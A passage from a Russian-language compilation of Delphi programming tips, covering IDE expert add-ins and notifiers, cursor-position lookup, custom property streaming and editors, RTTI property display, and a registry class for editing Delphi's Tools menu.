      { получаем интерфейс пунктов верхнего уровня меню }
      MenuItems:= MainMenu.GetMenuItems;
      if Assigned( MenuItems) then
        try
          { ищем пункт меню перед которым необходимо вставить новый пункт }
          PreviousItem:= MainMenu.FindMenuItem( PreviousItemName);
          if Assigned( PreviousItem) then
            try
              { получаем интерфейс к родительскому пункту меню }
              ParentItem:= PreviousItem.GetParent;
              if Assigned( ParentItem) then
                try
                  { вставляем новый пункт меню и в качестве результата функции }
                  { возвращаем его интерфейс }
                  Result:= ParentItem.InsertItem( PreviousItem.GetIndex, Caption,
                  name, '', ShortCut( Word( ShortCutKey), [ssCtrl]), 0, 0,
                  [mfVisible, mfEnabled], OnClick);
                finally
                  { освобождаем интерфейс родительского пункта меню }
                  ParentItem.Free;
                end;
            finally
              { освобождаем интерфейс пункта меню перед которым вставили }
              { новый пункт }
              PreviousItem.Free;
            end;
        finally
          { освобождаем интерфейс пунктов верхнего уровня меню }
          MenuItems.Free;
        end;
    finally
      { освобождаем интерфейс главного меню IDE }
      MainMenu.Free;
    end;
end;

procedure register;
begin
  { регистрируем эксперт }
  RegisterLibraryExpert( TEMyExpert.Create);
end;

end.

В этом примере центральное место занимает функция AddIDEMenuItem, осуществляющая добавление пункта меню в главное меню IDE Delphi. В качестве параметров ей передаются текст нового пункта меню, его идентификатор, идентификатор пункта, перед которым вставляется новый пункт, символьное представление клавиши, которая вместе с клавишей Ctrl может использоваться для быстрого доступа к новому пункту, и обработчик события, соответствующего выбору нового пункта. Мы добавили новый пункт меню в раздел View перед пунктом Watches.

Теперь познакомимся с нотификаторами. Определим add-in нотификатор, отслеживающий моменты закрытия/открытия проектов и корректирующий соответствующим образом поле, хранящее имя активного проекта (реализацию методов, не претерпевших изменений по сравнению с предыдущим примером, для краткости опустим):

unit exmpl_03;

{ ИСПОЛЬЗОВАНИЕ ADD-IN НОТИФИКАТОРОВ }
interface

uses
  Classes, Dialogs, ToolIntF, ExptIntf, Menus;

type
  TEMyExpert = class;

  { касс add-in нотификатора порождаем от TIAddInNotifier}
  TAddInNotifier = class(TIAddInNotifier)
  private
    Expert: TEMyExpert;
  public
    constructor Create( anExpert: TEMyExpert);
    procedure FileNotification( NotifyCode: TFileNotification;
    const FileName: string; var Cancel: Boolean); override;
end;

  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
  private
    ProjectName: string;
    MenuItem: TIMenuItemIntf;
    AddInNotifier: TAddInNotifier;
  public
    constructor Create;
    destructor Destroy; override;
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    procedure MenuItemClick( Sender: TIMenuItemIntf);
end;

procedure register;

function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;

implementation

constructor TAddInNotifier.Create;
begin
  inherited Create;
  Expert := anExpert;
end;

procedure TAddInNotifier.FileNotification( NotifyCode: TFileNotification;
const FileName: string; var Cancel: Boolean);
begin
  with Expert do
    case NotifyCode of
      fnProjectOpened:
        ProjectName:= FileName; { открытие проекта }
      fnProjectClosing:
        ProjectName:= 'unknown' { закрытие проекта }
    end;
end;

constructor TEMyExpert.Create;
begin
  inherited Create;
  { добавляем пункт в главное меню IDE Delphi }
  MenuItem:= AddIDEMenuItem( 'Simple Expert 3', 'ViewMyExpertItem3',
  {$IFDEF VER130}
  'ViewWatchesItem', '3', MenuItemClick);
  {$ELSE}
  'ViewWatchItem', '3', MenuItemClick);
  {$ENDIF}
  try
    { создаем add-in нотификатор }
    AddInNotifier:= TAddInNotifier.Create( Self);
    { регистрируем add-in нотификатор }
    ToolServices.AddNotifier( AddInNotifier);
  except
    AddInNotifier:= nil;
  end;
  { инициализируем поле, хранящее имя активного проекта }
  ProjectName:= ToolServices.GetProjectName;
end;

destructor TEMyExpert.Destroy;
begin
  if Assigned( MenuItem) then
    MenuItem.Free;
  if Assigned( AddInNotifier) then
  begin
    { снимаем регистрацию add-in нотификатора }
    ToolServices.RemoveNotifier( AddInNotifier);
    { уничтожаем add-in нотификатор }
    AddInNotifier.Free;
  end;
  inherited Destroy;
end;

{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
begin
  MessageDlg( 'Current project name is ' + ProjectName,
  mtInformation, [mbOK], 0);
end;

...

end.

Для реализации нотификатора мы определили класс TAddInNotifier, являющийся потомком TIAddInNotifier, и перекрыли метод FileNotification. IDE будет вызывать этот метод каждый раз, когда происходит событие, на которое способен среагировать add-in нотификатор (каждое такое событие обозначается соответствующей константой типа TFileNotification). Поле Expert в классе TAddInNotifier служит для обратной связи с экспертом (метод TAddInNotifier.FileNotification). В деструкторе эксперта регистрация нотификатора снимается, и нотификатор уничтожается.

А теперь проиллюстрируем использование модульных нотификаторов. Создадим add-in эксперт, выдающий сообщения о каждом акте сохранения проектного файла (реализацию уже знакомых нам методов для краткости не приводим):

unit exmpl_04;

{ ИСПОЛЬЗОВАНИЕ МОДУЛЬНЫХ НОТИФИКАТОРОВ }

interface

uses
  Classes, Dialogs, ToolIntF, ExptIntf, Menus
  {$IFDEF VER130}, EditIntf{$ENDIF};

type
  { класс модульного нотификатора порождаем от TIModuleNotifier }
  TModuleNotifier = class( TIModuleNotifier)
  private
    FileName: string;
  public
    constructor Create(const aFileName: string);
    procedure Notify( NotifyCode: TNotifyCode); override;
    {$IFDEF VER130}
    procedure ComponentRenamed(ComponentHandle: Pointer;
    const OldName, NewName: string); override;
    {$ELSE}
    procedure ComponentRenamed( const oldName, newName: string); override;
    {$ENDIF}
end;

  TEMyExpert = class;

  { класс add-in нотификатора порождаем от TIAddInNotifier}
  TAddInNotifier = class(TIAddInNotifier)
  private
    Expert: TEMyExpert;
  public
    constructor Create( anExpert: TEMyExpert);
    procedure FileNotification( NotifyCode: TFileNotification;
    const FileName: string; var Cancel: Boolean); override;
end;

  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
  private
    AddInNotifier: TAddInNotifier;
    ModuleInterface: TIModuleInterface;
    ModuleNotifier: TModuleNotifier;
  public
    constructor Create;
    destructor Destroy; override;
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    procedure AddModuleNotifier( const FileName: string);
    procedure RemoveModuleNotifier;
end;

procedure register;

implementation

constructor TModuleNotifier.Create(const aFileName: string);
begin
  inherited Create;
  FileName := aFileName;
end;

procedure TModuleNotifier.Notify( NotifyCode: TNotifyCode);
begin
  { если произошло сохранение соответствующего нотификатору файла, }
  { то выдаем сообщение об этом }
  if NotifyCode = ncAfterSave then
    MessageDlg(FileName + 'saved', mtInformation, [mbOK], 0);
end;

procedure TModuleNotifier.ComponentRenamed;
begin
  { ничего здесь не делаем, но метод необходимо перекрыть }
end;

procedure TAddInNotifier.FileNotification( NotifyCode: TFileNotification;
const FileName: string; var Cancel: Boolean);
begin
  with Expert do
    case NotifyCode of
      fnProjectOpened: { открытие проекта }
        { добавляем модульный нотификатор }
        AddModuleNotifier( FileName);
      fnProjectClosing: { закрытие проекта }
        { освобождаем модульный нотификатор }
        RemoveModuleNotifier;
    end;
end;

constructor TEMyExpert.Create;
begin
  inherited Create;
  try
    { создаем add-in нотификатор }
    AddInNotifier:= TAddInNotifier.Create( Self);
    { регистрируем add-in нотификатор }
    ToolServices.AddNotifier( AddInNotifier);
  except
    AddInNotifier:= nil;
  end;
  { добавляем модульный нотификатор }
  AddModuleNotifier( ToolServices.GetProjectName);
end;

destructor TEMyExpert.Destroy;
begin
  if Assigned( AddInNotifier) then
  begin
    { снимаем регистрацию add-in нотификатора }
    ToolServices.RemoveNotifier( AddInNotifier);
    { уничтожаем add-in нотификатор }
    AddInNotifier.Free;
  end;
  { освобождаем модульный нотификатор }
  RemoveModuleNotifier;
  inherited Destroy;
end;

procedure TEMyExpert.AddModuleNotifier;
begin
  { если модульный нотификатор для проектного файла уже зарегистрирован, }
  { то никаких действий не выполняем, во избежание появления дубликатов }
  { нотификаторов; в противном случае дубликаты могли бы появиться, }
  { например, при открытии Delphi: один нотификатор добавился бы при }
  { создании эксперта (в конструкторе класса эксперта), а второй - при }
  { открытии проекта (в TAddNotifier.FileNotification }
  if Assigned( ModuleInterface) and Assigned( ModuleNotifier) then
    Exit;
  try
    { получаем интерфейс модуля }
    ModuleInterface:= ToolServices.GetModuleInterface( FileName);
    try
      { создаем модульный нотификатор }
      ModuleNotifier:= TModuleNotifier.Create( FileName);
      { регистрируем модульный нотификатор }
      ModuleInterface.AddNotifier( ModuleNotifier);
    except
      ModuleNotifier:= nil;
    end;
  except
    ModuleInterface:= nil;
  end;
end;

procedure TEMyExpert.RemoveModuleNotifier;
begin
  if Assigned(ModuleNotifier) then
  begin
    if Assigned( ModuleInterface) then
      { снимаем регистрацию модульного нотификатора }
      ModuleInterface.RemoveNotifier( ModuleNotifier);
    { уничтожаем модульный нотификатор }
    ModuleNotifier.Free;
    ModuleNotifier:= nil;
  end;
  if Assigned( ModuleInterface) then
  begin
    { освобождаем модульный интерфейс }
    ModuleInterface.Free;
    ModuleInterface:= nil;
  end;
end;

...

end.

В данном примере add-in эксперт отслеживает события, соответствующие открытию/закрытию проектов. При каждом открытии проекта регистрируется модульный нотификатор, соответствующий файлу проекта. В плане реализации модульные нотификаторы схожи с add-in нотификаторами: мы определяем класс TModuleNotifier, являющийся потомком TIModuleNotifier и перекрываем его методы Notify и ComponentRenamed. IDE вызывает метод Notify при возникновении определенных событий, имеющих отношение к данному модулю; внутри этого метода и определяется реакция на то или иное событие. Метод ComponentRenamed вызывается при изменении имени компонента, лежащего на форме модуля. Обратите внимание на то, что мы не используем этот метод, но обязаны его перекрыть, иначе при изменении имени компонента будет происходить вызов абстрактного метода базового класса, что приводит к непредсказуемым последствиям. Регистрация модульного нотификатора является несколько более сложным процессом по сравнению с регистрацией add-in нотификатора: сначала мы получаем интерфейс модуля (TIModuleInterface), а затем с помощью интерфейса модуля регистрируем нотификатор. При закрытии проекта регистрация модульного нотификатора снимается (снова с использованием TIModuleInterface), и нотификатор уничтожается.

В заключение покажем, как можно определять позицию курсора в окне редактора кода. Создадим эксперт, который при выборе соответствующего пункта меню выдавал бы сообщение, содержащее имя активного файла и позицию курсора в нем (приведена реализация только существенных для данного примера методов):

unit exmpl_05;

{ ОПРЕДЕЛЕНИЕ ПОЗИЦИИ КУРСОРА }
interface

uses
  SysUtils, Classes, Dialogs, ToolIntF, ExptIntf, EditIntf, Menus;

type
  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
  private
    MenuItem: TIMenuItemIntf;
  public
    constructor Create;
    destructor Destroy; override;
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    procedure MenuItemClick( Sender: TIMenuItemIntf);
    function GetCursorPos: TEditPos;
end;

procedure register;

function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;

implementation

{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
var
  CurPos: TEditPos;
begin
  CurPos:= GetCursorPos;
  if CurPos.Line > 0 then
    MessageDlg( 'Current file: ' + ToolServices.GetCurrentFile + #13 +
    'Current cursor position: ' + IntToStr( CurPos.Line) +
    ', ' + IntToStr( CurPos.Col), mtInformation, [mbOK], 0);
end;

function TEMyExpert.GetCursorPos: TEditPos;
var
  ModuleInterface: TIModuleInterface;
  EditorInterface: TIEditorInterface;
  EditView: TIEditView;
  FileName: string;
begin
  { определяем имя активного файла }
  FileName:= ToolServices.GetCurrentFile;
  Result.Line:= 0;
  Result.Col:= 0;
  { для простоты определяем позицию только в pas- файлах }
  if ExtractFileExt( FileName) = '.pas' then
  begin
    { получаем интерфейс модуля }
    ModuleInterface:= ToolServices.GetModuleInterface( FileName);
    try
      { получаем интерфейс редактора кода }
      EditorInterface:= ModuleInterface.GetEditorInterface;
      try
        { получаем интерфейс представления модуля в редакторе }
        { передавая методу GetView индекс нужного нам представления; }
        { если файл открыт в нескольких окнах редактора кода, то для }
        { простоты берем первое (хотя конечно, это не совсем }
        { правильно }
        EditView:= EditorInterface.GetView( 0);
        try
          Result:= EditView.CursorPos;
        finally
          EditView.Free;
        end;
      finally
        EditorInterface.Free;
      end;
    finally
      ModuleInterface.Free;
    end;
  end;
end;

...

Для определения позиции курсора мы должны получить следующую последовательность интерфейсов:

модульный интерфейс (TIModuleInterface);
интерфейс редактора кода (TIEditorInterface);
интерфейс представления модуля в окне редактора (TIEditView).
Если при выборе пункта меню эксперта активным является файл с исходным текстом (*.pas), то выдается сообщение, содержащее имя активного файла и текущую позицию курсора в нем. Если активным является не pas-файл, то сообщение не выдается.

Для получения имени активного файла используется метод GetCurrentFile класса TIToolServices.

Итак, в данной статье в общих чертах рассмотрены открытые интерфейсы и приведены примеры их использования. Еще раз повторим: благодаря наличию исходных текстов открытых интерфейсов вы без труда сможете разобраться в интересующих вас деталях. Надеемся, что многообразие возможностей, предоставляемых открытыми интерфейсами, породит у вас не одну смелую и полезную идею.

Взято с http://delphiworld.narod.ru


Текущий модуль и проект

Автор: Dr. Bob

Компонент во время проектирования может знать имена текущих модулей и имя проекта. Все это можно получить с помощью ToolServices (см. файл TOOLINTF.PAS)

Имя текущего проекта можно получить с помощью вызова GetProjectName, список модулей/форм - с помощью функции GetUnitCount, которая возвратит количество модулей и затем с помощью GetUnitName(i) мы можем получить имя каждого модуля (также и с формами).

Вот примерный образец кода (получение и запись имен всех модулей/форм в StringGrid и имени проекта в Label):

procedure TInformationFrm.FormActivate(Sender: TObject);
{ необходимо: StringGrid1 (2 колонки, масса строк), Label1, Label2 }
var
  i, j: Integer;
  Tmp: string;
begin
  StringGrid1.Cells[0, 0] := 'модулей:';
  StringGrid1.Cells[1, 0] := 'форм:';
  if ToolServices <> nil then
    with ToolServices do
    begin
      Label1.Caption := ExtractFileName(GetProjectName); { простое имя }
      Label2.Caption := GetProjectName;   { полное правильное имя пути }
      for i := 0 to GetUnitCount do
      begin
        Tmp := ExtractFileName(GetUnitName(i));
        StringGrid1.Cells[0, i + 1] := Tmp;
        Tmp := ChangeFileExt(Tmp, '.DFM');
        for j := 0 to GetFormCount do
          if ExtractFileName(GetFormName(j)) = Tmp then
            StringGrid1.Cells[1, i + 1] := Tmp
      end;
    end;
end;

Взято с http://delphiworld.narod.ru


Код определения свойств

Итак вам опять нужно "немного" кода. Вот небольшой примерчик компонента лично для вас и остальных моих читателей. Установите этот компонент в палитру Delphi, бросьте экземпляр на форму, закройте ее и модуль и откройте форму как файл формы, используя в диалоге открытия тип *.dfm. Вы увидите дополнительные свойства 'StringThing' и 'Thing'. Первое - свойство строки, второе - бинарное свойство, фактически запись. Если вы имеете HexEdit (шестнадцатиричный редактор) или что-то аналогичное, взгляните на ваш dfm-файл и вы увидите тэги ваших новых свойств вместе с их именами.

Если TReader/TWriter имеет специфические методы для чтения/записи свойств и вы хотите добавить, например, строку, целое, символ или что-то еще (проверьте описание соответствующих методов TReader в файлах помощи), то в этом случае используйте DefineProperty. В случае сложного объекта используйте DefineBinaryProperty и ваши методы чтения и записи получат TStream вместо TReader/TWriter.

unit PropDemo;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs;

type
  TDemoProps = class(TComponent)
  private
{ Private declarations }
    FStringThing: string;
    FThing: record
      i, j, k: integer;
      x, y: real;
      ch: char;
    end;
    procedure ReadStringThing(Reader: TReader);
    procedure WriteStringThing(Writer: TWriter);
    procedure ReadThing(Stream: TStream);
    procedure WriteThing(Stream: TStream);
  protected
{ Protected declarations }
    procedure DefineProperties(Filer: TFiler); override;
  public
{ Public declarations }
    constructor Create(AOwner: TComponent); override;
  published
{ Published declarations }
  end;

procedure Register;

implementation

constructor TDemoProps.Create(AOwner: TComponent);

begin
  inherited Create(AOwner);
{ создайте любые данные, чтобы было что передать в поток}
  FStringThing := 'Всем привет!';
  with FThing do
    begin
      i := 1;
      j := 2;
      k := 3;
      x := PI;
      y := 180 / PI;
      ch := '?';
    end;
end;

procedure TDemoProps.ReadStringThing(Reader: TReader);
begin
  FStringThing := Reader.ReadString;
end;

procedure TDemoProps.WriteStringThing(Writer: TWriter);
begin
  Writer.WriteString(FStringThing);
end;

procedure TDemoProps.ReadThing(Stream: TStream);
begin
  Stream.ReadBuffer(FThing, sizeof(FThing));
end;

procedure TDemoProps.WriteThing(Stream: TStream);
begin
  Stream.WriteBuffer(FThing, sizeof(FThing));
end;

procedure TDemoProps.DefineProperties(Filer: TFiler);
begin
  inherited DefineProperties(Filer);
  Filer.DefineProperty('StringThing', ReadStringThing, WriteStringThing,
    FStringThing <> '');
  Filer.DefineBinaryProperty('Thing', ReadThing, WriteThing, true);
end;

procedure Register;
begin
  RegisterComponents('Samples', [TDemoProps]);
end;

end.

Mike Scott
Mobius Ltd.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Регистрация редактора свойства

Скажем, вы имеете компонент TContainer, содержащий TContainedClass в свойстве с именем 'Contained' - попробуйте добавить следующую строку к процедуре Register вашего компонента:

RegisterPropertyEditor(TypeInfo(TContainedClass),
  TContainer,
  'Contained',
  TClassProperty);

Не забудьте добавить TypInfo и DsgnIntf в список используемых модулей.

Все это задокументировано в справке помощи. Первым параметром всегда идет TypeInfo() с "коллекционируемым" классом в качестве параметра, затем контейнерный класс или NIL, если он должен работать для всех экземпляров контейнерного класса с заданным свойством, затем идет имя контейнерного свойства или '', если редактор должен работать для всех свойств, и завершает славную четверку параметров класс TClassProperty, расширяющий классовое свойство, т.е. "создающий" знак "+" в Инспекторе Объектов, позволяющий редактировать вложенные свойства (щелчок на плюсике раскрывает список вложенных свойств описываемого контейнерного класса).

Mike Scott
Mobius Ltd.

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Показ свойств во время выполнения программы

Я написал компонент-отладчик, выводящий в дереве все компоненты. Попробуйте этот код. Вызывайте функцию DisplayProperties как показано ниже:

DisplayProperties(Form1, {Вы можете использовать любой компонент}
  Outline1.Lines, {Допускается любой TStrings-объект}
  0); {0 - "стартовый", корневой уровень}

DisplayProperties(AObj: TObject; AList: TStrings; iIndentLevel: Integer);
var
  Indent: string;
  ATypeInfo: PTypeInfo;
  ATypeData: PTypeData;
  APropTypeData: PTypeData;
  APropInfo: PPropInfo;
  APropList: PPropList;
  iProp: Integer;
  iCnt: Integer;
  iCntProperties: SmallInt;
  ASecondObj: TObject;

procedure AddLine(sLine: string);
begin
  AList.Add(Indent + #160 + IntToStr(iProp) + ': ' + APropInfo^.Name
    + ' (' + APropInfo^.PropType^.Name + ')' + sLine);
end;

begin

  try
    Indent := GetIndentSpace(iIndentLevel);

    ATypeInfo := AObj.ClassInfo;
    ATypeData := GetTypeData(ATypeInfo);
    iCntProperties := ATypeData^.PropCount;
    GetMem(APropList, SizeOf(TPropInfo) * iCntProperties);
    GetPropInfos(ATypeInfo, APropList);

    for iProp := 0 to ATypeData^.PropCount - 1 do
      begin
        APropInfo := APropList^[iProp];
        case APropInfo^.PropType^.Kind of
          tkInteger:
            AddLine(' := ' + IntToStr(GetOrdProp(AObj, APropInfo)));
          tkChar:
            AddLine(' := ' + chr(GetOrdProp(AObj, APropInfo)));
          tkEnumeration:
            begin
              APropTypeData := GetTypeData(APropInfo^.PropType);
              if APropTypeData^.BaseType^.Name <> APropInfo^.PropType^.Name then
                AddLine(' := ' + IntToStr(GetOrdProp(AObj, APropInfo)))
              else
                AddLine(' := ' + APropTypeData^.NameList);
            end;
          tkFloat:
            AddLine(' := ' + FloatToStr(GetFloatProp(AObj, APropInfo)));
          tkString:
            AddLine(' := "' + GetStrProp(AObj, APropInfo) + '"');
          tkSet:
            begin
              AddLine(' := ' + IntToStr(GetOrdProp(AObj, APropInfo)));
            end;
          tkClass:
            begin
              ASecondObj := TObject(GetOrdProp(AObj, APropInfo));
              if ASecondObj = nil then
                AddLine(' := NIL')
              else
                begin
                  AddLine('');
                  DisplayProperties(ASecondObj, AList, iIndentLevel + 1);
                end;
            end;
          tkMethod:
            begin
              AddLine('');
            end;
        else
          AddLine(' := >>НЕИЗВЕСТНО<<');
        end;
      end;
  except {Выводим исключение и продолжаем дальше}
    on e: Exception do ShowMessage(e.Message);
  end;

  FreeMem(APropList, SizeOf(TPropInfo) * iCntProperties);
end;

function GetIndentSpace(iIndentLevel: Integer): string;
var iCnt: Integer;
begin
  Result := '';
  for iCnt := 0 to iIndentLevel - 1 do
    Result := Result + #9;
end;

- Thomas von Stetten
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Текущий модуль и проект

Компонент во время проектирования может знать имена текущих модулей и имя проекта. Все это можно получить с помощью ToolServices (см. файл TOOLINTF.PAS)

Имя текущего проекта можно получить с помощью вызова GetProjectName, список модулей/форм - с помощью функции GetUnitCount, которая возвратит количество модулей и затем с помощью GetUnitName(i) мы можем получить имя каждого модуля (также и с формами).

Вот примерный образец кода (получение и запись имен всех модулей/форм в StringGrid и имени проекта в Label):

procedure TInformationFrm.FormActivate(Sender: TObject);
{ необходимо: StringGrid1 (2 колонки, масса строк), Label1, Label2 }
var i, j: Integer;
  Tmp: string;
begin
  StringGrid1.Cells[0, 0] := 'модулей:';
  StringGrid1.Cells[1, 0] := 'форм:';
  if ToolServices <> nil then
    with ToolServices do
      begin
        Label1.Caption := ExtractFileName(GetProjectName); { простое имя }
        Label2.Caption := GetProjectName; { полное правильное имя пути }
        for i := 0 to GetUnitCount do
          begin
            Tmp := ExtractFileName(GetUnitName(i));
            StringGrid1.Cells[0, i + 1] := Tmp;
            Tmp := ChangeFileExt(Tmp, '.DFM');
            for j := 0 to GetFormCount do
              if ExtractFileName(GetFormName(j)) = Tmp then
                StringGrid1.Cells[1, i + 1] := Tmp
          end
      end
end;

- Dr. Bob
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Редактор свойства Color с заданными ограничениями

Редактор свойства, пример которого приведен ниже, имеет ограничение на устанавливаемые цвета: только clRed, clWhite или clBlue.

unit ClrComps;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes,
  Graphics, Controls, Forms, Dialogs, DsgnIntf;

type
  TColorComponent = class(TComponent)
  private
    FColor: TColor;
  protected
    procedure SetColor(Value: TColor);
  public
    constructor Create(AnOwner: TComponent); override;
  published
    property Color: TColor read FColor write SetColor;
  end;

{ Это специальный редактор свойства выбора цветов... }
  TMyColorProperty = class(TIntegerProperty)
  public
    function GetAttributes: TPropertyAttributes; override;
    function GetValue: string; override;
    procedure GetValues(Proc: TGetStrProc); override;
    procedure SetValue(const Value: string); override;
  end;

procedure Register;

implementation

{ TMyColorProperty }

function TMyColorProperty.GetAttributes: TPropertyAttributes;
begin
  Result := [paMultiSelect, paValueList];
end;

function TMyColorProperty.GetValue: string;
begin
  Result := ColorToString(TColor(GetOrdValue));
end;

procedure TMyColorProperty.GetValues(Proc: TGetStrProc);
begin
  Proc('clRed');
  Proc('clWhite');
  Proc('clBlue');
end;

procedure TMyColorProperty.SetValue(const Value: string);
var
  NewValue: Longint;
begin
  if IdentToColor(Value, NewValue) and
    ((NewValue = clRed) or
    (NewValue = clWhite) or
    (NewValue = clBlue)) then
    SetOrdValue(NewValue);
end;

{ Образец компонента... }

constructor TColorComponent.Create(AnOwner: TComponent);
begin
  inherited Create(AnOwner);
  FColor := clRed;
end;

procedure TColorComponent.SetColor(Value: TColor);
begin
  if (Value = clRed) or
    (Value = clWhite) or
    (Value = clBlue) then
    begin
      FColor := Value;
    end;
end;

procedure Register;
begin
  RegisterComponents('Samples', [TColorComponent]);
  RegisterPropertyEditor(TypeInfo(TColor), TColorComponent,
    'Color', TMyColorProperty);
end;

end.

- Ed Jordan
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как найти все установленные компоненты?

uses ToolsApi;
{....}
var
  a, i: Integer;
begin
  with (BorlandIDEServices as IOTAPackageServices) do
  begin
    for a := 0 to GetPackageCount - 1 do
    begin
      for i := 0 to GetComponentCount(a) - 1 do
      begin
        {get each component name with GetComponentName(a, i);}
      end;
    end;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Програмно меняем Delphi's Tool list?

//**  class to manage Delphi's Tool list
//**
//**  if Delphi is running restart it to see changes
//*************************************************************

unit DelphiTool;

interface

uses
  Windows, SysUtils, Registry, classes;

type
  TDelphiVersion = ({dvD5,} dvD6);

  EDelphiTool_AlreadyRegistered = class(Exception);
  EDelphiTool_InvalidIndex = class(Exception);

  TDelphiTool = class
  private
    F_Registry: TRegistry;
    F_ToolCount: Integer;
    F_ToolPath: string;
  protected
    function OpenKey(key: string; CanCreate: Boolean): Boolean;

  public
    constructor Create;
    destructor Destroy; override;

    procedure SetRootKey(root_key: HKEY);
    procedure SetDelphiVersion(version: TDelphiVersion);

    procedure Add(params, path, title, workingDir: string);
    procedure Edit(toolIndex: Integer; params, path, title, workingDir: string);
    procedure Delete(toolIndex: Integer);

    function IndexOf(toolTitle: string): Integer;
    function Count: Integer;
    procedure ToolProperties(toolIndex: Integer;
      out params, path, title, workingDir: string);
  end;

implementation

{ TDelphiTool }

constructor TDelphiTool.Create;
begin
  inherited;
  SetDelphiVersion(dvD6);
  F_Registry := TRegistry.Create;
end;

destructor TDelphiTool.Destroy;
begin
  F_Registry.CloseKey;
  F_Registry.Free;
  inherited;
end;

function TDelphiTool.IndexOf(toolTitle: string): Integer;
var
  found: boolean;
  loop: integer;
  Count: integer;
begin
  Result := -1;

  if OpenKey(F_ToolPath, True) then
  begin
    loop  := 0;
    found := False;
    while (loop < F_ToolCount) and not found do
    begin
      found := F_Registry.ReadString('Title' + IntToStr(loop)) = toolTitle;
      if not found then Inc(loop);
    end;
  end;

  if found then Result := loop;
end;

procedure TDelphiTool.SetRootKey(root_key: HKEY);
begin
  F_Registry.RootKey := root_key;
end;

procedure TDelphiTool.Add(params, path, title, workingDir: string);
var
  Count: integer;
  suffix: string;
begin
  if OpenKey(F_ToolPath, True) then
  begin
    try
      if IndexOf(title) < 0 then
      begin
        Count  := F_ToolCount;
        suffix := IntToStr(Count);
        Inc(Count);

        F_registry.WriteString('Params' + suffix, params);
        F_registry.WriteString('Path' + suffix, path);
        F_registry.WriteString('Title' + suffix, title);
        F_registry.WriteString('WorkingDir' + suffix, workingDir);

        F_registry.WriteInteger('Count', Count);
        F_ToolCount := Count;
      end
      else
        raise EDelphiTool_AlreadyRegistered.Create('[Add]: Tool is already registered.');
    finally
      F_Registry.CloseKey;
    end;
  end
end;

function TDelphiTool.OpenKey(key: string; CanCreate: Boolean): Boolean;
begin
  Result := F_Registry.OpenKey(key, CanCreate);
  if F_Registry.ValueExists('Count') then F_ToolCount := F_Registry.ReadInteger('Count')
  else
    F_ToolCount := 0;
end;

procedure TDelphiTool.Edit(toolIndex: Integer; params, path, title, workingDir: string);
  // if you don't want to change one property set to ''
var
  suffix: string;
begin
  if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
    raise EDelphiTool_InvalidIndex.Create('[Edit]: Invalid index.')
  else
  begin
    if OpenKey(F_ToolPath, True) then
    begin
      try
        suffix := IntToStr(toolIndex);

        if (params <> '') then
          F_registry.WriteString('Params' + suffix, params);
        if (path <> '') then
          F_registry.WriteString('Path' + suffix, path);
        if (title <> '') then
          F_registry.WriteString('Title' + suffix, title);
        if (workingDir <> '') then
          F_registry.WriteString('WorkingDir' + suffix, workingDir);

      finally
        F_Registry.CloseKey;
      end;
    end
  end;
end;

procedure TDelphiTool.Delete(toolIndex: Integer);
var
  suffix, tmp_suffix: string;
  i: integer;
begin
  if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
    raise EDelphiTool_InvalidIndex.Create('[Delete]: Invalid index.')
  else
  begin
    if OpenKey(F_ToolPath, True) then
    begin
      try
        suffix := IntToStr(toolIndex);
        for i := toolIndex + 1 to F_ToolCount - 1 do
        begin
          tmp_suffix := IntToStr(i);
          F_registry.WriteString('Params' + suffix,
            F_registry.ReadString('Params' + tmp_suffix));
          F_registry.WriteString('Path' + suffix,
            F_registry.ReadString('Path' + tmp_suffix));
          F_registry.WriteString('Title' + suffix,
            F_registry.ReadString('Title' + tmp_suffix));
          F_registry.WriteString('WorkingDir' + suffix,
            F_registry.ReadString('WorkingDir' + tmp_suffix));

          suffix := IntToStr(i);
        end;

        F_registry.DeleteValue('Params' + suffix);
        F_registry.DeleteValue('Path' + suffix);
        F_registry.DeleteValue('Title' + suffix);
        F_registry.DeleteValue('WorkingDir' + suffix);

        F_registry.WriteInteger('Count', F_ToolCount - 1);
        Dec(F_ToolCount);
      finally
        F_Registry.CloseKey;
      end;
    end;
  end;
end;

procedure TDelphiTool.SetDelphiVersion(version: TDelphiVersion);
  //*************************************************************
  //  for versions other then D6 lookup the registry and add lines
  // like below , also add dvDx entries to TDelphiVersion
begin
  case version of
    dvD6: F_ToolPath := '\Software\Borland\Delphi\6.0\Transfer';

    //** don't have D5, just guessing, so check it in the registry
    //** before uncommenting
    //   dvD5: F_ToolPath:= '\Software\Borland\Delphi\5.0\Transfer';
  end;
end;

function TDelphiTool.Count: Integer;
begin
  Result := F_ToolCount;
end;

procedure TDelphiTool.ToolProperties(toolIndex: Integer; out params, path,
  title, workingDir: string);
var
  suffix: string;
begin
  if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
    raise EDelphiTool_InvalidIndex.Create('[ToolProperties]: Invalid index.')
  else
  begin
    if OpenKey(F_ToolPath, True) then
    begin
      try
        suffix := IntToStr(toolIndex);

        params := F_registry.ReadString('Params' + suffix);
